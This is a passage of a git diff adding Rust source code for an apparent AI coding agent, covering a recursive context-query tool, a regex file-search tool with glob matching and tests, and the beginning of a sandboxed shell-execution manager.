Some(chunk.end_char)).to_string() + } else if let Some(start) = input.get("line_start").and_then(|v| v.as_u64()) { + let end = input.get("line_end").and_then(|v| v.as_u64()); + extract_lines(ctx, start as usize, end.map(|v| v as usize)) + } else if let Some(start) = input.get("char_start").and_then(|v| v.as_u64()) { + let end = input.get("char_end").and_then(|v| v.as_u64()); + ctx.peek(start as usize, end.map(|v| v as usize)) + .to_string() + } else { + return Err(ToolError::invalid_input( + "Provide chunk_index, section_index, line_start, or char_start".to_string(), + )); + }; + + Ok((chunk, ctx_id)) + } + + fn extract_auto_chunks( + &self, + fallback_context_id: Option<&str>, + max_chars: usize, + ) -> Result<(Vec, String), ToolError> { + let session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + + let ctx_id = fallback_context_id + .unwrap_or_else(|| session.active_context.as_str()) + .to_string(); + + let ctx = session + .get_context(&ctx_id) + .ok_or_else(|| ToolError::invalid_input(format!("Context '{ctx_id}' not loaded")))?; + + let chunks = ctx.chunk_auto(max_chars.max(1)); + let mut outputs = Vec::with_capacity(chunks.len()); + for chunk in chunks { + outputs.push(ctx.peek(chunk.start_char, Some(chunk.end_char)).to_string()); + } + + Ok((outputs, ctx_id)) + } + + fn record_usage( + &self, + context_id: &str, + usage: &Usage, + chars_sent: usize, + chars_received: usize, + response_text: &str, + store_as: Option, + ) { + let mut session = match self.session.lock() { + Ok(session) => session, + Err(_) => return, + }; + session.record_query_usage(usage, chars_sent, chars_received); + + let Some(ctx) = session.get_context_mut(context_id) else { + return; + }; + + if let Some(name) = store_as { + let final_answer = + extract_final(response_text).unwrap_or_else(|| response_text.trim().to_string()); + ctx.set_var(&name, final_answer); + } + + for (name, value) in extract_final_vars(response_text) { + ctx.set_var(&name, value); + } + } +} + +impl RlmQueryTool { + /// Execute a tool call from within a recursive sub-call + async fn execute_recursive_tool( + &self, + tool_name: &str, + input: &Value, + context_id: &str, + ) -> Result { + match tool_name { + "rlm_exec" => { + let code = input.get("code").and_then(|v| v.as_str()).ok_or_else(|| { + ToolError::invalid_input("rlm_exec requires 'code' parameter") + })?; + + let ctx_id = input + .get("context_id") + .and_then(|v| v.as_str()) + .unwrap_or(context_id); + + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + + let ctx = session.get_context_mut(ctx_id).ok_or_else(|| { + ToolError::invalid_input(format!("Context '{ctx_id}' not loaded")) + })?; + + let output = eval_script_mut(ctx, code) + .map_err(|e| ToolError::execution_failed(e.to_string()))?; + + let truncated = if output.len() > MAX_EXEC_OUTPUT_CHARS { + let snippet = truncate_to_boundary(&output, MAX_EXEC_OUTPUT_CHARS); + format!( + "{}\n\n[output truncated to {} chars]", + snippet, MAX_EXEC_OUTPUT_CHARS + ) + } else { + output + }; + + Ok(truncated) + } + "rlm_query" => { + // Recursive sub-query at increased depth + let sub_tool = self.with_depth(self.current_depth + 1); + + // Build a minimal ToolContext for the recursive call + let dummy_context = crate::tools::spec::ToolContext::new( + std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")), + ); + + let result = sub_tool.execute(input.clone(), &dummy_context).await?; + Ok(result.content) + } + _ => Err(ToolError::not_available(format!( + "Unknown tool in RLM sub-call: {tool_name}" + ))), + } + } +} + +fn extract_text(blocks: &[ContentBlock]) -> String { + let mut output = String::new(); + for block in blocks { + if let ContentBlock::Text { text, .. } = block { + if !output.is_empty() { + output.push('\n'); + } + output.push_str(text); + } + } + output.trim().to_string() +} + +fn extract_lines(ctx: &RlmContext, start: usize, end: Option) -> String { + let start_line = start.max(1); + let end_line = end.unwrap_or(ctx.line_count).max(start_line); + let start_idx = start_line.saturating_sub(1); + let end_idx = end_line.min(ctx.line_count); + ctx.lines(start_idx, Some(end_idx)) + .iter() + .map(|(n, l)| format!("{n:>5} {l}")) + .collect::>() + .join("\n") +} + +fn extract_final(text: &str) -> Option { + let regex = Regex::new(r"(?s)FINAL\s*:?\s*(.+)$").ok()?; + let caps = regex.captures(text)?; + caps.get(1).map(|m| m.as_str().trim().to_string()) +} + +fn extract_final_vars(text: &str) -> Vec<(String, String)> { + let regex = match Regex::new(r"(?m)^FINAL_VAR\(([^)]+)\)\s*:?\s*(.+)$") { + Ok(r) => r, + Err(_) => return Vec::new(), + }; + + regex + .captures_iter(text) + .filter_map(|caps| { + let name = caps.get(1)?.as_str().trim(); + let value = caps.get(2)?.as_str().trim(); + if name.is_empty() || value.is_empty() { + None + } else { + Some((name.to_string(), value.to_string())) + } + }) + .collect() +} + +fn rlm_subcall_prompt(mode: &str, batch: bool) -> &'static str { + match (mode, batch) { + ("verify", true) => "You are verifying answers. Provide a brief check for each task.", + ("verify", false) => { + "You are verifying an answer. Provide a brief check and highlight any issues." + } + (_, true) => { + "Answer each task using only the provided context. Label each response clearly." + } + _ => "Answer the question using only the provided context.", + } +} + +fn rlm_subcall_system_prompt(mode: &str, has_tools: bool) -> String { + let mut prompt = String::from( + "You are an RLM sub-call. Use ONLY the provided context. Respond concisely.\n\n\ +Output format:\n- Use FINAL: for the final response.\n- Use FINAL_VAR(name): to store buffer values if needed.\n", + ); + if has_tools { + prompt.push_str( + "\nYou have access to RLM tools for recursive analysis:\n\ + - rlm_exec: Execute expressions to explore context (lines, search, chunk, etc.)\n\ + - rlm_query: Make recursive sub-queries on specific chunks\n\n\ + Use tools when you need to examine more context or make focused sub-queries.\n", + ); + } + if mode == "verify" { + prompt.push_str("\nVerification mode: check for contradictions or missing evidence."); + } + prompt +} + +/// Build tool definitions for recursive RLM sub-calls +fn build_rlm_tools_for_subcall() -> Vec { + vec![ + Tool { + name: "rlm_exec".to_string(), + description: "Execute RLM expressions: len, line_count, lines(start, end), search(pattern), chunk(size, overlap), chunk_auto(max_chars), get(var), set(var, value)".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "code": { + "type": "string", + "description": "RLM expression(s) to evaluate" + }, + "context_id": { + "type": "string", + "description": "Optional context id" + } + }, + "required": ["code"] + }), + cache_control: None, + }, + Tool { + name: "rlm_query".to_string(), + description: "Make a recursive sub-query on a specific chunk of context. Use for focused analysis of sections.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "Question to answer about the chunk" + }, + "chunk_index": { + "type": "integer", + "description": "Chunk index from chunk() output" + }, + "line_start": { + "type": "integer", + "description": "Start line (1-based)" + }, + "line_end": { + "type": "integer", + "description": "End line (1-based)" + }, + "section_index": { + "type": "integer", + "description": "Section index from chunk_sections()" + } + }, + "required": ["query"] + }), + cache_control: None, + }, + ] +} + +fn truncate_to_boundary(text: &str, max: usize) -> &str { + if text.len() <= max { + return text; + } + let idx = text + .char_indices() + .take_while(|(i, _)| *i <= max) + .last() + .map_or(0, |(i, _)| i); + &text[..idx] +} + +fn default_query_max_tokens(model: &str) -> u32 { + let lower = model.to_lowercase(); + if lower.contains("claude") { + 1024 + } else { + DEFAULT_QUERY_MAX_TOKENS + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::rlm::RlmContext; + + #[test] + fn extract_final_prefers_final_marker() { + let text = "notes\nFINAL: answer here"; + let extracted = extract_final(text).expect("final"); + assert_eq!(extracted, "answer here"); + } + + #[test] + fn extract_final_vars_parses_lines() { + let text = "FINAL_VAR(foo): bar\nFINAL_VAR(baz): qux"; + let vars = extract_final_vars(text); + assert_eq!(vars.len(), 2); + assert!(vars.iter().any(|(k, v)| k == "foo" && v == "bar")); + assert!(vars.iter().any(|(k, v)| k == "baz" && v == "qux")); + } + + #[test] + fn extract_lines_formats_numbers() { + let ctx = RlmContext::new("test", "a\nb\nc".to_string(), None); + let lines = extract_lines(&ctx, 1, Some(2)); + assert!(lines.contains("1 a")); + assert!(lines.contains("2 b")); + } + + #[test] + fn normalize_load_path_accepts_at_prefix() { + let normalized = normalize_load_path("@docs/rlm-paper.txt").expect("normalize"); + assert_eq!(normalized, "docs/rlm-paper.txt"); + } + + #[test] + fn normalize_load_path_strips_leading_separators() { + let normalized = normalize_load_path("@/docs/rlm-paper.txt").expect("normalize"); + assert_eq!(normalized, "docs/rlm-paper.txt"); + } + + #[test] + fn normalize_load_path_rejects_empty() { + assert!(normalize_load_path("@").is_err()); + assert!(normalize_load_path(" ").is_err()); + } +} diff --git a/src/tools/search.rs b/src/tools/search.rs new file mode 100644 index 00000000..db0ab479 --- /dev/null +++ b/src/tools/search.rs @@ -0,0 +1,551 @@ +//! Search tools: `grep_files` for code search +//! +//! These tools provide powerful code search capabilities within the workspace, +//! similar to ripgrep/grep functionality. + +use super::spec::{ + ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, optional_bool, optional_str, + optional_u64, required_str, +}; +use async_trait::async_trait; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::fs; +use std::path::{Path, PathBuf}; + +/// Maximum number of results to return to avoid overwhelming output +const MAX_RESULTS: usize = 100; + +/// Maximum file size to search (skip large binaries) +const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024; // 10MB + +/// Result of a grep match +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct GrepMatch { + pub file: String, + pub line_number: usize, + pub line: String, + pub context_before: Vec, + pub context_after: Vec, +} + +/// Tool for searching files using regex patterns +pub struct GrepFilesTool; + +#[async_trait] +impl ToolSpec for GrepFilesTool { + fn name(&self) -> &'static str { + "grep_files" + } + + fn description(&self) -> &'static str { + "Search for a regex pattern in files within the workspace. Returns matching lines with context." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "pattern": { + "type": "string", + "description": "Regular expression pattern to search for" + }, + "path": { + "type": "string", + "description": "Directory or file to search (relative to workspace, default: .)" + }, + "include": { + "type": "array", + "items": {"type": "string"}, + "description": "Glob patterns for files to include (e.g., ['*.rs', '*.ts'])" + }, + "exclude": { + "type": "array", + "items": {"type": "string"}, + "description": "Glob patterns for files to exclude (e.g., ['*.min.js', 'node_modules/*'])" + }, + "context_lines": { + "type": "integer", + "description": "Number of context lines before and after each match (default: 2)" + }, + "case_insensitive": { + "type": "boolean", + "description": "Whether to perform case-insensitive matching (default: false)" + }, + "max_results": { + "type": "integer", + "description": "Maximum number of results to return (default: 100)" + } + }, + "required": ["pattern"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly, ToolCapability::Sandboxable] + } + + fn supports_parallel(&self) -> bool { + true + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let pattern_str = required_str(&input, "pattern")?; + let path_str = optional_str(&input, "path").unwrap_or("."); + let context_lines = + usize::try_from(optional_u64(&input, "context_lines", 2)).unwrap_or(usize::MAX); + let case_insensitive = optional_bool(&input, "case_insensitive", false); + let max_results = usize::try_from(optional_u64(&input, "max_results", MAX_RESULTS as u64)) + .unwrap_or(MAX_RESULTS); + + // Parse include patterns + let include_patterns: Vec = input + .get("include") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + + // Parse exclude patterns + let exclude_patterns: Vec = + input.get("exclude").and_then(|v| v.as_array()).map_or_else( + || { + // Default exclusions for common non-code directories + vec![ + "node_modules/*".to_string(), + ".git/*".to_string(), + "target/*".to_string(), + "*.min.js".to_string(), + "*.min.css".to_string(), + "dist/*".to_string(), + "build/*".to_string(), + "__pycache__/*".to_string(), + ".venv/*".to_string(), + "venv/*".to_string(), + ] + }, + |arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }, + ); + + // Build regex + let regex_pattern = if case_insensitive { + format!("(?i){pattern_str}") + } else { + pattern_str.to_string() + }; + + let regex = Regex::new(®ex_pattern) + .map_err(|e| ToolError::invalid_input(format!("Invalid regex pattern: {e}")))?; + + // Resolve search path + let search_path = context.resolve_path(path_str)?; + + // Collect files to search + let files = collect_files(&search_path, &include_patterns, &exclude_patterns)?; + + // Search files + let mut results: Vec = Vec::new(); + let mut files_searched = 0; + let mut total_matches = 0; + + for file_path in files { + if results.len() >= max_results { + break; + } + + // Skip files that are too large + if let Ok(metadata) = fs::metadata(&file_path) + && metadata.len() > MAX_FILE_SIZE + { + continue; + } + + // Read file content + let Ok(file_content) = fs::read_to_string(&file_path) else { + continue; // Skip binary or unreadable files + }; + + files_searched += 1; + let lines: Vec<&str> = file_content.lines().collect(); + + for (line_idx, line) in lines.iter().enumerate() { + if regex.is_match(line) { + total_matches += 1; + + // Get context lines + let context_before: Vec = (line_idx.saturating_sub(context_lines) + ..line_idx) + .filter_map(|i| lines.get(i).map(|s| (*s).to_string())) + .collect(); + + let context_after: Vec = ((line_idx + 1) + ..=(line_idx + context_lines).min(lines.len() - 1)) + .filter_map(|i| lines.get(i).map(|s| (*s).to_string())) + .collect(); + + // Get relative path from workspace + let relative_path = file_path + .strip_prefix(&context.workspace) + .unwrap_or(&file_path) + .to_string_lossy() + .to_string(); + + results.push(GrepMatch { + file: relative_path, + line_number: line_idx + 1, + line: (*line).to_string(), + context_before, + context_after, + }); + + if results.len() >= max_results { + break; + } + } + } + } + + // Build result + let result = json!({ + "matches": results, + "total_matches": total_matches, + "files_searched": files_searched, + "truncated": total_matches > max_results, + }); + + ToolResult::json(&result).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +/// Collect files to search based on include/exclude patterns +fn collect_files( + root: &Path, + include_patterns: &[String], + exclude_patterns: &[String], +) -> Result, ToolError> { + let mut files = Vec::new(); + + if root.is_file() { + files.push(root.to_path_buf()); + return Ok(files); + } + + collect_files_recursive(root, root, include_patterns, exclude_patterns, &mut files)?; + Ok(files) +} + +fn collect_files_recursive( + root: &Path, + current: &Path, + include_patterns: &[String], + exclude_patterns: &[String], + files: &mut Vec, +) -> Result<(), ToolError> { + let entries = fs::read_dir(current).map_err(|e| { + ToolError::execution_failed(format!( + "Failed to read directory {}: {}", + current.display(), + e + )) + })?; + + for entry in entries { + let entry = entry.map_err(|e| ToolError::execution_failed(e.to_string()))?; + let path = entry.path(); + + // Get relative path for pattern matching + let relative = path.strip_prefix(root).unwrap_or(&path); + let relative_str = relative.to_string_lossy(); + + // Check exclusions + if should_exclude(&relative_str, exclude_patterns) { + continue; + } + + if path.is_dir() { + collect_files_recursive(root, &path, include_patterns, exclude_patterns, files)?; + } else if path.is_file() { + // Check inclusions (if any specified) + if include_patterns.is_empty() || should_include(&relative_str, include_patterns) { + files.push(path); + } + } + } + + Ok(()) +} + +/// Check if a path matches any of the exclude patterns +fn should_exclude(path: &str, patterns: &[String]) -> bool { + for pattern in patterns { + if matches_glob(path, pattern) { + return true; + } + } + false +} + +/// Check if a path matches any of the include patterns +fn should_include(path: &str, patterns: &[String]) -> bool { + for pattern in patterns { + if matches_glob(path, pattern) { + return true; + } + } + false +} + +/// Simple glob pattern matching +/// Supports: * (any chars), ** (any path), ? (single char) +fn matches_glob(path: &str, pattern: &str) -> bool { + // Handle ** for any path + if pattern.contains("**") { + let parts: Vec<&str> = pattern.split("**").collect(); + if parts.len() == 2 { + let prefix = parts[0].trim_end_matches('/'); + let suffix = parts[1].trim_start_matches('/'); + + if !prefix.is_empty() && !path.starts_with(prefix) { + return false; + } + if !suffix.is_empty() { + return path.ends_with(suffix) + || path + .split('/') + .any(|part| matches_simple_glob(part, suffix)); + } + return path.starts_with(prefix) || prefix.is_empty(); + } + } + + // Handle patterns like "*.rs" - match against filename only + if pattern.starts_with('*') && !pattern.contains('/') { + let filename = path.rsplit('/').next().unwrap_or(path); + return matches_simple_glob(filename, pattern); + } + + // Handle patterns with path components + if pattern.contains('/') { + return matches_simple_glob(path, pattern); + } + + // Match against filename + let filename = path.rsplit('/').next().unwrap_or(path); + matches_simple_glob(filename, pattern) +} + +/// Simple glob matching for single path component +fn matches_simple_glob(text: &str, pattern: &str) -> bool { + let mut text_chars = text.chars().peekable(); + let mut pattern_chars = pattern.chars().peekable(); + + while let Some(p) = pattern_chars.next() { + match p { + '*' => { + // Match zero or more characters + let next_pattern: String = pattern_chars.collect(); + if next_pattern.is_empty() { + return true; + } + + // Try matching at each position + let remaining: String = text_chars.collect(); + for i in 0..=remaining.len() { + if matches_simple_glob(&remaining[i..], &next_pattern) { + return true; + } + } + return false; + } + '?' => { + // Match exactly one character + if text_chars.next().is_none() { + return false; + } + } + c => { + // Match literal character + if text_chars.next() != Some(c) { + return false; + } + } + } + } + + text_chars.next().is_none() +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use std::fs; + + use serde_json::{Value, json}; + use tempfile::tempdir; + + use crate::tools::spec::{ApprovalRequirement, ToolContext, ToolSpec}; + + use super::{GrepFilesTool, matches_glob}; + + #[test] + fn test_matches_glob_star() { + assert!(matches_glob("test.rs", "*.rs")); + assert!(matches_glob("foo.rs", "*.rs")); + assert!(!matches_glob("test.ts", "*.rs")); + assert!(!matches_glob("test.rs.bak", "*.rs")); + } + + #[test] + fn test_matches_glob_question() { + assert!(matches_glob("test.rs", "test.??")); + assert!(!matches_glob("test.rs", "test.?")); + } + + #[test] + fn test_matches_glob_double_star() { + assert!(matches_glob("src/main.rs", "src/**")); + assert!(matches_glob("src/lib/mod.rs", "src/**")); + assert!(matches_glob("node_modules/pkg/index.js", "node_modules/*")); + } + + #[test] + fn test_matches_glob_path() { + assert!(matches_glob("src/main.rs", "src/*.rs")); + assert!(!matches_glob("lib/main.rs", "src/*.rs")); + } + + #[tokio::test] + async fn test_grep_files_basic() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create test files + fs::write( + tmp.path().join("test.rs"), + "fn main() {\n println!(\"hello\");\n}\n", + ) + .expect("write"); + fs::write( + tmp.path().join("lib.rs"), + "pub fn hello() {}\npub fn world() {}\n", + ) + .expect("write"); + + let tool = GrepFilesTool; + let result = tool + .execute(json!({"pattern": "fn"}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + assert!(result.content.contains("main")); + assert!(result.content.contains("hello")); + } + + #[tokio::test] + async fn test_grep_files_with_context() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + fs::write( + tmp.path().join("test.txt"), + "line1\nline2\nMATCH\nline4\nline5\n", + ) + .expect("write"); + + let tool = GrepFilesTool; + let result = tool + .execute(json!({"pattern": "MATCH", "context_lines": 1}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + assert!(result.content.contains("line2")); // context before + assert!(result.content.contains("line4")); // context after + } + + #[tokio::test] + async fn test_grep_files_case_insensitive() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + fs::write( + tmp.path().join("test.txt"), + "Hello World\nHELLO WORLD\nhello world\n", + ) + .expect("write"); + + let tool = GrepFilesTool; + let result = tool + .execute(json!({"pattern": "hello", "case_insensitive": true}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + // Should find all 3 lines + let parsed: Value = serde_json::from_str(&result.content).unwrap(); + assert_eq!(parsed["total_matches"].as_u64().unwrap(), 3); + } + + #[tokio::test] + async fn test_grep_files_include_filter() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + fs::write(tmp.path().join("test.rs"), "fn test() {}\n").expect("write"); + fs::write(tmp.path().join("test.js"), "function test() {}\n").expect("write"); + + let tool = GrepFilesTool; + let result = tool + .execute(json!({"pattern": "test", "include": ["*.rs"]}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + // Should only match .rs file + let parsed: Value = serde_json::from_str(&result.content).unwrap(); + let matches = parsed["matches"].as_array().unwrap(); + assert_eq!(matches.len(), 1); + let file = matches[0]["file"].as_str().unwrap(); + assert!( + file.rsplit('.') + .next() + .is_some_and(|ext| ext.eq_ignore_ascii_case("rs")) + ); + } + + #[tokio::test] + async fn test_grep_files_invalid_regex() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let tool = GrepFilesTool; + let result = tool.execute(json!({"pattern": "[invalid"}), &ctx).await; + + assert!(result.is_err()); + } + + #[test] + fn test_grep_files_tool_properties() { + let tool = GrepFilesTool; + assert_eq!(tool.name(), "grep_files"); + assert!(tool.is_read_only()); + assert!(tool.is_sandboxable()); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } + + #[test] + fn test_parallel_support_flags() { + let tool = GrepFilesTool; + assert!(tool.supports_parallel()); + } +} diff --git a/src/tools/shell.rs b/src/tools/shell.rs new file mode 100644 index 00000000..1bb5970b --- /dev/null +++ b/src/tools/shell.rs @@ -0,0 +1,982 @@ +//! Advanced shell execution with background process support and sandboxing. +//! +//! Provides: +//! - Synchronous command execution with timeout +//! - Background process execution +//! - Process output retrieval +//! - Process termination +//! - Sandbox support (macOS Seatbelt) +//! - Streaming output (future) + +use anyhow::{Context, Result, anyhow}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::io::{Read, Write}; +use std::path::PathBuf; +use std::process::{Child, Command, Stdio}; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant}; +use uuid::Uuid; +use wait_timeout::ChildExt; + +use crate::sandbox::{ + CommandSpec, + ExecEnv, + SandboxManager, + SandboxPolicy as ExecutionSandboxPolicy, // Rename to avoid conflict with spec::SandboxPolicy + SandboxType, +}; + +/// Maximum output size before truncation (30KB like Claude Code) +const MAX_OUTPUT_SIZE: usize = 30_000; + +/// Status of a shell process +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub enum ShellStatus { + Running, + Completed, + Failed, + Killed, + TimedOut, +} + +/// Result from a shell command execution +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ShellResult { + pub task_id: Option, + pub status: ShellStatus, + pub exit_code: Option, + pub stdout: String, + pub stderr: String, + pub duration_ms: u64, + /// Whether the command was executed in a sandbox. + #[serde(default)] + pub sandboxed: bool, + /// Type of sandbox used (if any). + #[serde(skip_serializing_if = "Option::is_none")] + pub sandbox_type: Option, + /// Whether the command was blocked by sandbox restrictions. + #[serde(default)] + pub sandbox_denied: bool, +} + +/// A background shell process being tracked +pub struct BackgroundShell { + pub id: String, + pub command: String, + pub working_dir: PathBuf, + pub status: ShellStatus, + pub exit_code: Option, + pub stdout: String, + pub stderr: String, + pub started_at: Instant, + pub sandbox_type: SandboxType, + child: Option, + stdout_thread: Option>>, + stderr_thread: Option>>, +} + +impl BackgroundShell { + /// Check if the process has completed and update status + fn poll(&mut self) -> bool { + if self.status != ShellStatus::Running { + return true; + } + + if let Some(ref mut child) = self.child { + match child.try_wait() { + Ok(Some(status)) => { + self.exit_code = status.code(); + self.status = if status.success() { + ShellStatus::Completed + } else { + ShellStatus::Failed + }; + self.collect_output(); + true + } + Ok(None) => false, // Still running + Err(_) => { + self.status = ShellStatus::Failed; + true + } + } + } else { + true + } + } + + /// Collect output from the background threads + fn collect_output(&mut self) { + if let Some(handle) = self.stdout_thread.take() + && let Ok(data) = handle.join() + { + self.stdout = String::from_utf8_lossy(&data).to_string(); + } + if let Some(handle) = self.stderr_thread.take() + && let Ok(data) = handle.join() + { + self.stderr = String::from_utf8_lossy(&data).to_string(); + } + } + + /// Kill the process + fn kill(&mut self) -> Result<()> { + if let Some(ref mut child) = self.child { + child.kill().context("Failed to kill process")?; + let _ = child.wait(); // Reap the zombie + self.status = ShellStatus::Killed; + self.collect_output(); + } + Ok(()) + } + + /// Get a snapshot of the current state + pub fn snapshot(&self) -> ShellResult { + let sandboxed = !matches!(self.sandbox_type, SandboxType::None); + ShellResult { + task_id: Some(self.id.clone()), + status: self.status.clone(), + exit_code: self.exit_code, + stdout: truncate_output(&self.stdout), + stderr: truncate_output(&self.stderr), + duration_ms: u64::try_from(self.started_at.elapsed().as_millis()).unwrap_or(u64::MAX), + sandboxed, + sandbox_type: if sandboxed { + Some(self.sandbox_type.to_string()) + } else { + None + }, + sandbox_denied: false, // Determined after completion + } + } +} + +/// Manages background shell processes with optional sandboxing. +pub struct ShellManager { + processes: HashMap, + default_workspace: PathBuf, + sandbox_manager: SandboxManager, + sandbox_policy: ExecutionSandboxPolicy, +} + +impl ShellManager { + /// Create a new `ShellManager` with default (no sandbox) policy. + pub fn new(workspace: PathBuf) -> Self { + Self { + processes: HashMap::new(), + default_workspace: workspace, + sandbox_manager: SandboxManager::new(), + sandbox_policy: ExecutionSandboxPolicy::default(), + } + } + + /// Create a new `ShellManager` with a specific sandbox policy. + pub fn with_sandbox(workspace: PathBuf, policy: ExecutionSandboxPolicy) -> Self { + Self { + processes: HashMap::new(), + default_workspace: workspace, + sandbox_manager: SandboxManager::new(), + sandbox_policy: policy, + } + } + + /// Set the sandbox policy for future commands. + pub fn set_sandbox_policy(&mut self, policy: ExecutionSandboxPolicy) { + self.sandbox_policy = policy; + } + + /// Get the current sandbox policy. + pub fn sandbox_policy(&self) -> &ExecutionSandboxPolicy { + &self.sandbox_policy + } + + /// Check if sandboxing is available on this platform. + pub fn is_sandbox_available(&mut self) -> bool { + self.sandbox_manager.is_available() + } + + /// Execute a shell command with the configured sandbox policy. + pub fn execute( + &mut self, + command: &str, + working_dir: Option<&str>, + timeout_ms: u64, + background: bool, + ) -> Result { + self.execute_with_policy(command, working_dir, timeout_ms, background, None) + } + + /// Execute a shell command with a specific sandbox policy (overrides default). + pub fn execute_with_policy( + &mut self, + command: &str, + working_dir: Option<&str>, + timeout_ms: u64, + background: bool, + policy_override: Option, + ) -> Result { + let work_dir = working_dir.map_or_else(|| self.default_workspace.clone(), PathBuf::from); + + // Clamp timeout to max 10 minutes (600000ms) + let timeout_ms = timeout_ms.clamp(1000, 600_000); + + // Use override policy if provided, otherwise use the manager's policy + let policy = policy_override.unwrap_or_else(|| self.sandbox_policy.clone()); + + // Create command spec and prepare sandboxed environment + let spec = CommandSpec::shell(command, work_dir.clone(), Duration::from_millis(timeout_ms)) + .with_policy(policy); + let exec_env = self.sandbox_manager.prepare(&spec); + + if background { + self.spawn_background_sandboxed(command, &work_dir, &exec_env) + } else { + Self::execute_sync_sandboxed(command, &work_dir, timeout_ms, &exec_env) + } + } + + /// Execute a shell command interactively (stdin/stdout/stderr inherit from terminal). + pub fn execute_interactive( + &mut self, + command: &str, + working_dir: Option<&str>, + timeout_ms: u64, + ) -> Result { + self.execute_interactive_with_policy(command, working_dir, timeout_ms, None) + } + + /// Execute a shell command interactively with a specific sandbox policy override. + pub fn execute_interactive_with_policy( + &mut self, + command: &str, + working_dir: Option<&str>, + timeout_ms: u64, + policy_override: Option, + ) -> Result { + let work_dir = working_dir.map_or_else(|| self.default_workspace.clone(), PathBuf::from); + + let timeout_ms = timeout_ms.clamp(1000, 600_000); + let policy = policy_override.unwrap_or_else(|| self.sandbox_policy.clone()); + + let spec = CommandSpec::shell(command, work_dir.clone(), Duration::from_millis(timeout_ms)) + .with_policy(policy); + let exec_env = self.sandbox_manager.prepare(&spec); + + Self::execute_interactive_sandboxed(command, &work_dir, timeout_ms, &exec_env) + } + + /// Execute command synchronously with timeout (sandboxed). + fn execute_sync_sandboxed( + original_command: &str, + working_dir: &std::path::Path, + timeout_ms: u64, + exec_env: &ExecEnv, + ) -> Result { + let started = Instant::now(); + let timeout = Duration::from_millis(timeout_ms); + let sandbox_type = exec_env.sandbox_type; + let sandboxed = exec_env.is_sandboxed(); + + // Build the command from ExecEnv + let program = exec_env.program(); + let args = exec_env.args(); + + let mut cmd = Command::new(program); + cmd.args(args) + .current_dir(working_dir) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + // Set environment variables from exec_env + for (key, value) in &exec_env.env { + cmd.env(key, value); + } + + let mut child = cmd + .spawn() + .with_context(|| format!("Failed to execute: {original_command}"))?; + + let stdout_handle = child.stdout.take().context("Failed to capture stdout")?; + let stderr_handle = child.stderr.take().context("Failed to capture stderr")?; + + // Spawn threads to read output + let stdout_thread = std::thread::spawn(move || { + let mut reader = stdout_handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }); + + let stderr_thread = std::thread::spawn(move || { + let mut reader = stderr_handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }); + + // Wait with timeout + if let Some(status) = child.wait_timeout(timeout)? { + let stdout = stdout_thread.join().unwrap_or_default(); + let stderr = stderr_thread.join().unwrap_or_default(); + let stderr_str = String::from_utf8_lossy(&stderr); + let exit_code = status.code().unwrap_or(-1); + + // Check if sandbox denied the operation + let sandbox_denied = SandboxManager::was_denied(sandbox_type, exit_code, &stderr_str); + + Ok(ShellResult { + task_id: None, + status: if status.success() { + ShellStatus::Completed + } else { + ShellStatus::Failed + }, + exit_code: status.code(), + stdout: truncate_output(&String::from_utf8_lossy(&stdout)), + stderr: truncate_output(&stderr_str), + duration_ms: u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX), + sandboxed, + sandbox_type: if sandboxed { + Some(sandbox_type.to_string()) + } else { + None + }, + sandbox_denied, + }) + } else { + // Timeout - kill the process + let _ = child.kill(); + let status = child.wait().ok(); + let stdout = stdout_thread.join().unwrap_or_default(); + let stderr = stderr_thread.join().unwrap_or_default(); + + Ok(ShellResult { + task_id: None, + status: ShellStatus::TimedOut, + exit_code: status.and_then(|s| s.code()), + stdout: truncate_output(&String::from_utf8_lossy(&stdout)), + stderr: truncate_output(&String::from_utf8_lossy(&stderr)), + duration_ms: u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX), + sandboxed, + sandbox_type: if sandboxed { + Some(sandbox_type.to_string()) + } else { + None + }, + sandbox_denied: false, + }) + } + } + + /// Execute command interactively with timeout (sandboxed). + fn execute_interactive_sandboxed( + original_command: &str, + working_dir: &std::path::Path, + timeout_ms: u64, + exec_env: &ExecEnv, + ) -> Result { + let started = Instant::now(); + let timeout = Duration::from_millis(timeout_ms); + 